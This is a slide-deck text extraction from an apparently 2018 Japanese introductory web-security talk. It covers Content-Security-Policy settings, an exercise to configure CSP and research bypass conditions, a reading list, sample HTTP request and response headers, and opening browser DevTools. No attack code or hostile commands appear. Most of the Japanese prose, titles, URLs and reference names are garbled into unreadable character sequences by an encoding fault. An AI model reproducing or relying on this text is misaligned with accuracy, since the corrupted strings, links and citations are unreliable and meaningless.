    ‣ )551Ϩεϙϯεϔομதʹهड़͢Δ
    ‣ )5.-தͰNFUBλάΛ༻͍ͯهड़͢Δ
    ‣ 4QFDJpDBUJPOTΛಡΉͱશ͕ͯॻ͍ͯ͋Δ
    ‣ IUUQTXXXXPSH53$41
    85
    Content-Security-Policy: default-src 'self'
    content="default-src 'self'">

    View Slide

  86. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    $41ͷࠓޙ

    $41ʹ޲͚ͯ
    ‣ ଟ͘ͷ৽ػೳ΍վળ͕ଓ͍͍ͯΔ
    ‣ 'FUDIͷ࢓༷ʹ߹Θͤͨ࠶هड़
    ‣ 3FQPSUJOH"1*ͱͷ౷߹
    ‣ OBWJHBUFUPͳͲͷ৽EJSFDUJWF
    ‣ ͳͲͳͲʜ
    ‣ ࠷৽ͷٞ࿦Λ௥ͬͯΈΑ͏
    ‣ IUUQTHJUIVCDPNXD
    XFCBQQTFDDTQJTTVFT
    86

    View Slide

  87. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    &YFSDJTF$41

    $41ʹΑΔ੍ݶΛ࣮ײͯ͠ΈΑ͏
    ‣ ࣄޙ՝୊࣍ΛͭͣͭऔΓ૊ΜͰΈ·͠ΐ͏
    ࣗ෼ͷ8FCϖʔδΛ͍࣋ͬͯΕ͹ ͦ͜ʹ$41Λઃఆ͢Δ
    ‣ ΋͠ͳ͚Ε͹ ࣍ͷͲͪΒ͔ͰݕূՄೳ
    ‣ ϩʔΧϧʹ)5.-Λ࡞੒ͯ͠ NFUBΛ࢖͏
    ‣ 8FCαʔόʔΛϩʔΧϧʹཱͯͯΈΔ EPDLFSͳͲ͕ศར

    $41&WBMVBUPS IUUQTDTQFWBMVBUPSXJUIHPPHMFDPN
    Ͱઃఆͨ͠
    ϖʔδΛݕূͯ͠ΈΔ
    ݕূ݁ՌΛݟͯ ΑΓΑ͍ϙϦγʔΛઃఆͯ͠Έ·͠ΐ͏
    $41CZQBTTͷख๏ʹ͍ͭͯௐ΂ͯ ࣮ࡍʹCZQBTTՄೳͳ৚݅Λ୳ͯ͠Έ
    ·͠ΐ͏
    87

    View Slide

  88. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣍ʹֶͿ΂͖͜ͱ

    Φεεϝͷॻ੶ɾ࿩୊ɾจॻ
    ‣ $41*T%FBE -POH-JWF$410OUIF*OTFDVSJUZPG8IJUFMJTUT
    BOEUIF'VUVSFPG$POUFOU4FDVSJUZ1PMJDZ
    ‣ λΠτϧͰ(PPHMFݕࡧ͍ͯͩ͘͠͞
    ‣ ೥ͷ࿦จͰ͕͢ ମܥతʹ$41ͱͦͷόΠύεख๏ʹ͍͕ͭͯ·ͱΊ
    ΒΕ͍ͯΔ
    ‣ )*5#".4%5%FGFOTFJO%FQUI5FDIOJRVFTGPS
    .PEFSO8FC"QQT.4QBHOVPMP-8FJDITFMCBVN
    ‣ IUUQTXXXZPVUVCFDPNXBUDI W33@&R,T:CP
    ‣ GPS.PEFSO8FC"QQTͱ͸໏ଧ͍ͬͯΔ͕ $41΍ͦͷଞͷ.PEFSOͳ
    $MJFOUTJEFͷ๷ޚϨΠϠʹ͍ͭͯ ͬ͘͡Γղઆ͍ͯ͠Δ
    88

    View Slide

  89. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣍ʹֶͿ΂͖͜ͱ

    Φεεϝͷॻ੶ɾ࿩୊ɾจॻ
    ‣ $$41$POUSPMMFESFMBYBUJPOPGDPOUFOUTFDVSJUZQPMJDJFTCZ
    SVOUJNFQPMJDZDPNQPTJUJPO
    ‣ IUUQTXXXVTFOJYPSHTZTUFNpMFTDPOGFSFODFVTFOJYTFDVSJUZ
    TFDDBM[BWBSBQEG
    ‣ ݱঢ়ͷ$41ͷ໰୊఺Λ౿·͑ͯ ΑΓΑ͍1PMJDZهड़๏Λ໛ࡧ͢Δ
    3FTFBSDIMJOFͷྫ
    ‣ (JU)VCͷXFCBQQTFDDTQ
    ‣ IUUQTHJUIVCDPNXDXFCBQQTFDDTQ
    ‣ *TTVFTΛ PQFO DMPTFE໰Θͣ
    ಡΜͰΈͨΓ 13ΛோΊͨΓͯ͠ΈΔͱ
    ͍͍ؾ෇͖͕͋Δ͔΋͠Εͳ͍
    89

    View Slide

  90. "QQFOEJY$

    )551

    View Slide

  91. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    )551

    )ZQFS5FYU5SBOTGFS1SPUPDPM JOTIPSU

    91
    (&5JOEFYIUNM)551

    ʜ
    )5510,

    ʜ
    ϦΫΤετ Ϩεϙϯε
    8FCαʔό

    View Slide

  92. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    )551ϦΫΤετ

    (&5ϦΫΤετͷྫ
    92
    GET / HTTP/1.1
    Host: shift-js.info
    Connection: close
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
    10_12_6) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/70.0.3538.67 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/
    xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,ja;q=0.8
    Cookie: ...

    View Slide

  93. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    )551ϦΫΤετ

    (&5ϦΫΤετʹର͢ΔϨεϙϯεͷྫ
    93
    HTTP/1.1 200 OK
    Server: nginx
    Date: Tue, 23 Oct 2018 12:57:05 GMT
    Content-Type: text/html; charset=UTF-8
    Last-Modified: Fri, 14 Sep 2018 01:26:38 GMT
    Connection: close
    ETag: W/"5b9b0e4e-46d4"
    Strict-Transport-Security: max-age=31536000
    Content-Length: 18132

    ...

    View Slide

  94. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    )551ϦΫΤετΛ೷͘

    ࠓճ%FWFMPQFS5PPMTΛ࢖͏
    ‣ )551௨৴͸ී௨ ࣍ͷΑ͏ͳ1SPYZπʔϧΛར༻ͯ͠೷͘
    ‣ #VSQ4VJUF
    ‣ 'JEEMFS
    ‣ FUD
    ‣ ࠓ೔͸(PPHMF$ISPNF ͋Δ͍͸$ISPNJVN
    ʹ෇ଐͷ
    %FWFMPQFS5PPMTΛ࢖ͬͯ)551ϦΫΤετϨεϙϯεΛ೷͘
    ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ
    ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM4IJGU*Ͱىಈ

    .BDͷ৔߹$NE0QU*Ͱىಈ
    94

    View Slide

  95. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 95
    8JOEPXT' $USM4IJGU*

    .BD$NE0QU*Ͱىಈ

    View Slide

  96. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 96
    /FUXPSLλϒͰ)551
    ௨৴ͷ༷ࢠ͕೷͚Δ

    View Slide

  97. 3FGFSFODFT

    View Slide

  98. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࢀর
    ‣ Qͷ஫ͷը૾

    ࢈ۀٕज़૯߹ݚڀॴ ࢈૯ݚͷ৘ใγεςϜʹର͢Δෆਖ਼ͳΞΫ
    ηεʹؔ͢Δใࠂ IUUQTXXXBJTUHPKQQEGBJTU@K
    UPQJDTUPUPBJTUQEG
    98

    View Slide